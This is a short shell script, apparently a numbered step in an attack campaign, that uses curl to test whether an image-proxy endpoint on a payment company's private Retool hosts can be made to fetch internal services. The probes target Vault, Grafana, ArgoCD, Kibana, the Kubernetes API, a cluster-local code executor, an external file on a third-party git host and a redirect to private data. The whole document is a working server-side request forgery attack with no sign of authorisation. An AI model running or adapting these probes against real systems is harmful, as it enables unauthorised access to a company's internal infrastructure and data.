38 lines
1.7 KiB
Bash
38 lines
1.7 KiB
Bash
#!/bin/sh
|
|
# Intent 20337 step 7: is imageProxy https-only or host-filtered? test private-domain https targets.
|
|
|
|
C="curl -sk -m 18 --connect-timeout 4"
|
|
T=/tmp/rt20337g
|
|
mkdir -p "$T" 2>/dev/null
|
|
|
|
ipx() {
|
|
h="$1"; u="$2"; tag="$3"
|
|
$C -o "$T/b" -D "$T/h" -w "%{http_code} %{size_download} %{content_type} %{time_total}" --get --data-urlencode "url=$u" "https://$h/api/imageProxy" >"$T/s" 2>"$T/e"
|
|
echo "### $tag -> $(cat "$T/s" 2>/dev/null)"
|
|
echo " url=$u"
|
|
head -c 200 "$T/b" 2>/dev/null | tr '\r\n' ' '
|
|
echo
|
|
}
|
|
|
|
H=retool.private.paystack.co
|
|
echo "== PRIVATE HTTPS TARGETS via $H"
|
|
ipx $H "https://retooldata.private.paystack.co/api/organization/preAuthData" "rt-private-https"
|
|
ipx $H "https://retool.private.paystack.co/api/checkHealth" "self-https"
|
|
ipx $H "https://grafana.private.paystack.co/api/health" "grafana"
|
|
ipx $H "https://argocd.private.paystack.co/" "argocd"
|
|
ipx $H "https://kibana.private.paystack.co/" "kibana"
|
|
ipx $H "https://vault.private.paystack.co/v1/sys/health" "vault"
|
|
ipx $H "https://api.private.paystack.co/" "api-priv"
|
|
ipx $H "https://kubernetes.default.svc/api" "k8s-api"
|
|
ipx $H "https://retooldata-code-executor.data-platform.svc.cluster.local:443/api/checkHealth" "ce-https"
|
|
|
|
echo "== SCHEME + REDIRECT via $H"
|
|
ipx $H "http://git.kaki87.net/pstk280q87/composer-helper/raw/branch/master/rt.svg" "http-external"
|
|
ipx $H "https://httpbin.org/redirect-to?url=https%3A%2F%2Fretooldata.private.paystack.co%2Fapi%2Forganization%2FpreAuthData" "redir-priv-https"
|
|
|
|
echo "== 3.75.19 private https"
|
|
H3=retooldata.private.paystack.co
|
|
ipx $H3 "https://retool.private.paystack.co/api/checkHealth" "self-https"
|
|
ipx $H3 "https://grafana.private.paystack.co/api/health" "grafana"
|
|
|
|
echo "RT7DONE"
|